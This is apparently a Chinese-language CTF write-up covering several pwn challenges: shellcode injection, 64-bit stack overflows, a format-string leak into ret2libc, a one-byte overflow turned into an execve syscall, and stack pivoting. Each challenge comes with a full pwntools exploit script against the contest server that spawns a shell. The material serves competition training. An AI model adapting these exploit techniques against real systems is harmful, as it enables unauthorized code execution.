ez_shellcode
简单的shellcode
from pwn import* context.arch='amd64' io=remote('nc1.ctfplus.cn',39373)
shellcode_addr=0x0401256 shellcode=asm(shellcraft.sh()) io.send(shellcode)
payload=cyclic(0x18+8)+p64(shellcode_addr) io.sendline(payload)
io.interactive()
|
你会栈溢出吗?
简单的64位栈溢出,注意堆栈平衡
from pwn import* io=remote('nc1.ctfplus.cn',23262)
ret=0x040057e
payload=cyclic(0xC+8)+p64(ret)+p64(0x400728) io.sendline(payload)
io.interactive()
|
买黑吗喽了么

一道菜单题,输入1进入购买,输入2查看余额,输入3写反馈。


不断进行购买至负数,然后余额就会变成非常大的正数,就能输入%p泄漏基址,接着进入反馈函数打ret2libc
from pwn import* context.arch='amd64' elf=ELF('./syscall') libc=ELF('./syscalllibc.so.6') io=remote('nc1.ctfplus.cn',35338)
for _ in range(9): io.sendlineafter(b"choice:",b"1") io.sendlineafter(b"choice:",b"1")
io.sendlineafter(b"choice:",b"1") io.sendlineafter(b"choice:",b"2")
io.sendlineafter(b"choice:",b"2") io.send(b"%p")
io.recvuntil(b"0x0x") base=int(io.recv(12),16)-0x4090 print(hex(base))
rdi=base+0x11f1 ret=base+0x101a puts_plt=base+elf.plt['puts'] puts_got=base+elf.got['puts']
io.sendlineafter(b"choice:",b"3") payload=cyclic(0x50+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(base+0x14BC) io.sendlineafter(b"feedback:",payload)
puts=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print(hex(puts))
libc_base=puts-libc.sym['puts'] system=libc_base+libc.sym['system'] bin_sh=libc_base+next(libc.search('/bin/sh\x00'))
payload=cyclic(0x50+8)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)+p64(0) io.sendline(payload)
io.interactive()
|
简单的签到
简答的计算,接收两个数并进行计算即可。
from pwn import* io=remote('nc1.ctfplus.cn',31333)
io.sendafter(b"challenge.",b"\n")
v2=int(io.recvuntil("*",drop=True)) v3=int(io.recvuntil("=",drop=True))
v4=v2*v3
io.sendline(str(v4))
io.interactive()
|
00000

输入的密码与程序随机生成的密码一致则获得flag,写脚本爆破即可。
from pwn import *
filename = './00000'
context(arch = 'amd64', log_level = 'debug', os = 'linux')
for i in range(256): io = remote('nc1.ctfplus.cn',26368) try: io.sendline(b'\x00') io.recvuntil('{', timeout = 0.3) io.interactive() except: continue finally: io.close()
|
over_flow??


存在一个函数,输入的filename会溢出一个字节可以修改open_fd

存在系统调用,修改open_fd的值为想要调用的系统调用号,比如修改为0x3b,进行execve(‘/bin/sh’,0,0),而filename作为第一个参数,因此可以输入/bin/sh
from pwn import* io=remote('nc1.ctfplus.cn',26196) io.sendline(b'2') payload=b'/bin/sh\x00'+b'\x3b' io.sendline(payload) io.interactive()
|
这里的空间有点小啊
打栈迁移。
from pwn import* context.arch='amd64' elf=ELF('./zhanqianyi') libc=ELF('./zhanqianyilibc.so.6') io=remote('nc1.ctfplus.cn',34571)
bss=0x0601530 read=0x040071C puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] leave=0x0400738 rdi=0x0400853 ret=0x0400566
io.sendlineafter(b">>\n",b'1')
payload=b'a'*(0x30)+p64(bss)+p64(read) io.sendafter('something\n',payload)
payload=p64(bss+0x100)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(read)+b'/bin/sh\x00'+p64(bss-0x30)+p64(leave) io.send(payload) puts=u64(io.recv(6).ljust(8,b'\x00')) print(hex(puts)) libc_base=puts-libc.sym['puts'] system=libc_base+libc.sym['system'] bin_sh=bss-0x30+0x28
payload=p64(bss+0x50)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)+p64(0)+p64(bss+0x100-0x30)+p64(leave) io.sendline(payload)
io.interactive()
|
Black_Myth_Wukong